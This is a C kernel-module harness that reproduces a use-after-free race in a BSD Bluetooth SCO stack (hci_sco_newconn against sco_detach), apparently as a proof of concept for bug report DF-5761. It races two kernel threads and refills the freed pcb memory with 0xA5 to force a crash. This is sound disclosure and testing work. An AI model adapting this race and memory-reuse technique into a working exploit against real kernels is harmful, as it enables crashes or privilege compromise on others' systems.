/*
 * harness.c -- KLD harness for DF-5761:
 *
 *   sys/netbt/hci_link.c:782-806 hci_sco_newconn() (incoming SCO
 *   connection, runs in netisr/event context) walks the GLOBAL
 *   sco_pcb list with LIST_FOREACH and, for each listening pcb, calls
 *
 *	new = (*pcb->sp_proto->newconn)(pcb->sp_upper, &laddr, &raddr);
 *
 *   holding a raw pointer across a callback that (in production,
 *   sco_newconn -> sonewconn) allocates a socket.  The other side of
 *   the list -- sys/netbt/sco_upper.c sco_attach():77 (INSERT_HEAD),
 *   sco_detach():245-246 (LIST_REMOVE + kfree) -- runs on the socket
 *   syscall thread with NO lock anywhere.  A close(2) of a listening
 *   SCO socket concurrent with an incoming SCO connection request
 *   therefore frees the pcb the walker is standing on:
 *
 *	pcb->sp_flags read           (UAF read)
 *	LIST_NEXT(pcb, sp_next)      (UAF read -> poisoned pointer walk)
 *	(*pcb->sp_proto->newconn)()  (indirect call through freed memory)
 *
 *   This rig compiles hci_link.c / sco_upper.c / hci_unit.c / hci_misc.c
 *   / hci_event.c / bt_input.c / l2cap_lower.c VERBATIM and reproduces
 *   the two production contexts as two lwkt threads:
 *
 *     WALK  thread  = the netisr side: hci_sco_newconn(unit, &bdaddr)
 *                     in a loop (exactly what hci_event_con_req runs
 *                     for a SCO Connection Request event)
 *     CLOSE thread  = the syscall side: sco_attach + sco_listen +
 *                     sco_detach of listening pcbs, then objcache-LIFO
 *                     re-allocation of the freed chunk filled with
 *                     0xA5 (models any same-zone reuse; makes the
 *                     dangling walk observable deterministically)
 *
 *   The newconn callback stands in for sonewconn(): it blocks briefly
 *   (socket allocation cost), which is precisely the production window
 *   -- the walker holds `pcb` across it.
 *
 * Triggers (as root):
 *   sysctl hw.scow_setup=1    attach fake unit + OPEN ACL link
 *   sysctl hw.scow_fire=1     start WALK + CLOSE threads (deterministic)
 *   sysctl hw.scow_fire=N     N stress rounds after the first
 *
 * EXPECTED: Fatal trap 13 (or 12) in hci_sco_newconn within round 1,
 * e.g. "call to bogus function" or a page fault at 0xa5a5... --
 * the walk continued through freed+reused sco_pcb memory.
 */

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/module.h>
#include <sys/proc.h>
#include <sys/systm.h>
#include <sys/sysctl.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/types.h>
#include <sys/endian.h>
#include <sys/msgport.h>
#include <sys/msgport2.h>

#include <net/netisr.h>

#include <netbt/bluetooth.h>
#include <netbt/hci.h>
#include <netbt/l2cap.h>
#include <netbt/sco.h>

struct hci_unit *g_unit;
static struct hci_link *g_acl;

static bdaddr_t g_peer = { .b = { 0x22, 0x22, 0x22, 0x22, 0x22, 0x22 } };

/* ------------------------------------------------------------------ */
/* fake controller driver (the role ubt(4)/btuart(4) play)            */

static int	 fake_enable(device_t);
static void	 fake_disable(device_t);
static void	 fake_output_cmd(device_t, struct mbuf *);
static void	 fake_output_acl(device_t, struct mbuf *);
static void	 fake_output_sco(device_t, struct mbuf *);
static void	 fake_get_stats(device_t, struct bt_stats *, int);

static const struct hci_if fake_hci_if = {
	fake_enable,
	fake_disable,
	fake_output_cmd,
	fake_output_acl,
	fake_output_sco,
	fake_get_stats,
};

static int
fake_enable(device_t dev)
{
	return 0;
}

static void
fake_disable(device_t dev)
{
}

static void
fake_output_cmd(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_output_acl(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_output_sco(device_t dev, struct mbuf *m)
{
	m_freem(m);
}

static void
fake_get_stats(device_t dev, struct bt_stats *s, int arg)
{
	memset(s, 0, sizeof(*s));
}

/* hci_socket.c stand-ins (not compiled in) */
void
hci_mtap(struct mbuf *m, struct hci_unit *unit)
{
}

void
hci_drop(void *arg)
{
}

/* ------------------------------------------------------------------ */
/* rig upper layer                                                     */

static void rig_sco_complete(void *, int);
static void rig_sco_disconnected(void *, int);
static void rig_sco_input(void *, struct mbuf *);
static void *rig_sco_newconn(void *, struct sockaddr_bt *,
    struct sockaddr_bt *);

static const struct btproto rig_sco_proto = {
	NULL,			/* connecting */
	NULL,			/* connected */
	rig_sco_disconnected,	/* disconnected */
	rig_sco_newconn,	/* newconn -- THE WINDOW */
	rig_sco_complete,	/* complete */
	NULL,			/* linkmode */
	rig_sco_input,		/* input */
};

static volatile int g_incb;	/* newconn callback running */
static volatile int g_slow;	/* make first callback sleep */
static volatile int g_walks;	/* completed hci_sco_newconn calls */

static void *
rig_sco_newconn(void *arg, struct sockaddr_bt *laddr,
    struct sockaddr_bt *raddr)
{
	/*
	 * production: sco_newconn() -> sonewconn() (socket allocation,
	 * can block); the walker in hci_sco_newconn() holds the listener
	 * pcb pointer across this call.
	 */
	g_incb = 1;
	if (g_slow) {
		g_slow = 0;
		kprintf("[harness] newconn(): sleeping 300ms "
		    "(sonewconn window) -- CLOSE thread may now "
		    "sco_detach() the pcbs under the walk\n");
		tsleep(&g_incb, 0, "scowcb", hz / 3 + 1);
	}
	g_incb = 0;

	return NULL;	/* as if sonewconn failed (backlog full) */
}

static void
rig_sco_complete(void *arg, int num)
{
}

static void
rig_sco_disconnected(void *arg, int err)
{
}

static void
rig_sco_input(void *arg, struct mbuf *m)
{
	m_freem(m);
}

/* ------------------------------------------------------------------ */
/* setup                                                               */

static int
scow_setup(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	if (g_unit != NULL) {
		kprintf("[harness] unit already attached\n");
		return 0;
	}

	g_unit = hci_attach(&fake_hci_if, (device_t)(uintptr_t)0xcafe0000UL, 0);
	KKASSERT(g_unit != NULL);
	g_unit->hci_flags |= BTF_RUNNING;
	g_unit->hci_num_cmd_pkts = 1;
	g_unit->hci_max_sco_size = 64;

	/* the open ACL link hci_sco_newconn() requires (hci_link.c:796) */
	g_acl = hci_link_alloc(g_unit);
	KKASSERT(g_acl != NULL);
	g_acl->hl_type = HCI_LINK_ACL;
	g_acl->hl_state = HCI_LINK_OPEN;
	g_acl->hl_handle = 0x0005;
	bdaddr_copy(&g_acl->hl_bdaddr, &g_peer);

	kprintf("[harness] unit %p + OPEN ACL link %p (peer 22:22:..)\n",
	    g_unit, g_acl);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, scow_setup, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, scow_setup, "I", "attach fake HCI unit + open ACL link");

/* ------------------------------------------------------------------ */
/* the two production contexts                                         */

static volatile int g_start;	/* 1: threads may run */
static volatile int g_detached;
static volatile int g_stop;
static volatile int g_rounds;

static void
walk_thread(void *arg)
{
	/* netisr side: what hci_event_con_req does for SCO links */
	while (!g_stop) {
		if (g_start) {
			hci_sco_newconn(g_unit, &g_peer);	/* production */
			g_walks++;
		} else {
			tsleep(&g_start, 0, "scoww", 1);
		}
	}
	lwkt_exit();
}

static struct sco_pcb *g_victims[8];
static int g_nvictims;
static void *g_poison[64];	/* keep the reused chunks 0xA5-filled */
static int g_npoison;

static void
close_thread(void *arg)
{
	int i;

	/* syscall side: close(2) of the listening SCO sockets while the
	 * netisr walk is inside its newconn callback */
	while (!g_incb)
		tsleep(&g_incb, 0, "scowc", 1);

	kprintf("[harness] CLOSE: starting detaches\n");
	for (i = 0; i < g_nvictims; i++) {
		sco_detach(&g_victims[i]);			/* production */
		kprintf("[harness] CLOSE: detached victim %d\n", i);
		/*
		 * objcache is per-CPU LIFO: the immediately following
		 * same-size kmalloc returns the just-freed chunk.  Fill
		 * it (models ANY same-zone reuse -- in production any
		 * other M_BLUETOOTH allocation scoops these chunks).
		 */
		if (g_npoison < (int)NELEM(g_poison)) {
			g_poison[g_npoison] = kmalloc(sizeof(struct sco_pcb),
			    M_BLUETOOTH, M_INTWAIT);
			KKASSERT(g_poison[g_npoison] != NULL);
			memset(g_poison[g_npoison], 0xa5,
			    sizeof(struct sco_pcb));
			g_npoison++;
		}
	}
	kprintf("[harness] CLOSE thread: %d listening pcbs detached, "
	    "%d chunks re-allocated and filled 0xA5\n",
	    g_nvictims, g_npoison);
	kprintf("[harness] CLOSE: entering stress loop\n");
	g_detached = 1;

	/* stress rounds: keep racing (if the kernel somehow survived) */
	while (!g_stop) {
		struct sco_pcb *p = NULL;

		if (sco_attach(&p, &rig_sco_proto, NULL) == 0) {
			sco_listen(p);				/* production */
			sco_detach(&p);				/* production */
			g_rounds++;
		}
		if ((g_rounds & 0x3fff) == 0 && g_rounds)
			tsleep(&g_rounds, 0, "scows", 1);
	}
	lwkt_exit();
}

static int
scow_fire(SYSCTL_HANDLER_ARGS)
{
	int v = 0, err;
	thread_t td;
	int i;

	err = sysctl_handle_int(oidp, &v, 0, req);
	if (err != 0 || req->newptr == NULL || v == 0)
		return err;

	KKASSERT(g_unit != NULL);

	kprintf("[harness] === DF-5761: sco_pcb newconn-walk UAF ===\n");
	kprintf("[harness] WALK thread = hci_sco_newconn() (netisr ctx); "
	    "CLOSE thread = sco_detach() (syscall ctx)\n");

	/* four listening pcbs, exactly like bind()+listen() SCO sockets */
	g_nvictims = 0;
	for (i = 0; i < 4; i++) {
		struct sco_pcb *p = NULL;

		err = sco_attach(&p, &rig_sco_proto, NULL);	/* production */
		KKASSERT(err == 0);
		err = sco_listen(p);				/* production */
		KKASSERT(err == 0);
		g_victims[g_nvictims++] = p;
	}
	kprintf("[harness] %d listening SCO pcbs on the global sco_pcb "
	    "list\n", g_nvictims);

	g_walks = 0;
	g_detached = 0;
	g_stop = 0;
	g_slow = 1;		/* first newconn callback sleeps 300ms */
	g_start = 0;

	err = lwkt_create(walk_thread, NULL, &td, NULL, TDF_NOSTART, -1,
	    "scow_walk");
	KKASSERT(err == 0);
	lwkt_schedule(td);

	err = lwkt_create(close_thread, NULL, &td, NULL, TDF_NOSTART, -1,
	    "scow_close");
	KKASSERT(err == 0);
	lwkt_schedule(td);

	/* release the hounds */
	kprintf("[harness] threads started; first newconn() sleeps so the "
	    "CLOSE thread detaches underneath it\n");
	g_start = 1;

	/* if the race was somehow lost, survive and say so */
	tsleep(&g_detached, 0, "scowf", 10 * hz);
	tsleep(&g_detached, 0, "scowf", 5 * hz);
	g_stop = 1;
	tsleep(&g_stop, 0, "scowf", 2);

	kprintf("[harness] SURVIVED: %d walks, %d stress rounds, "
	    "no hit -- rerun\n", g_walks, g_rounds);
	return 0;
}

SYSCTL_PROC(_hw, OID_AUTO, scow_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, scow_fire, "I", "fire DF-5761 sco_pcb walk UAF");

/* ------------------------------------------------------------------ */

static int
harness_mode(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		l2cap_pdu_pool = zinit("l2cap_pdu",
		    sizeof(struct l2cap_pdu), 1, ZONE_DESTROYABLE);
		l2cap_req_pool = zinit("l2cap_req",
		    sizeof(struct l2cap_req), 1, ZONE_DESTROYABLE);
		KKASSERT(l2cap_pdu_pool != NULL && l2cap_req_pool != NULL);

		netisr_register(NETISR_BLUETOOTH, btintr, NULL);

		kprintf("[harness] sco_walk_harness loaded: "
		    "hw.scow_setup=1, hw.scow_fire=1\n");
		break;
	case MOD_UNLOAD:
		return EBUSY;
	default:
		break;
	}
	return 0;
}

static moduledata_t harness_moddata = {
	"sco_walk_harness",
	harness_mode,
	NULL
};

DECLARE_MODULE(sco_walk_harness, harness_moddata, SI_SUB_DRIVERS, SI_ORDER_ANY);
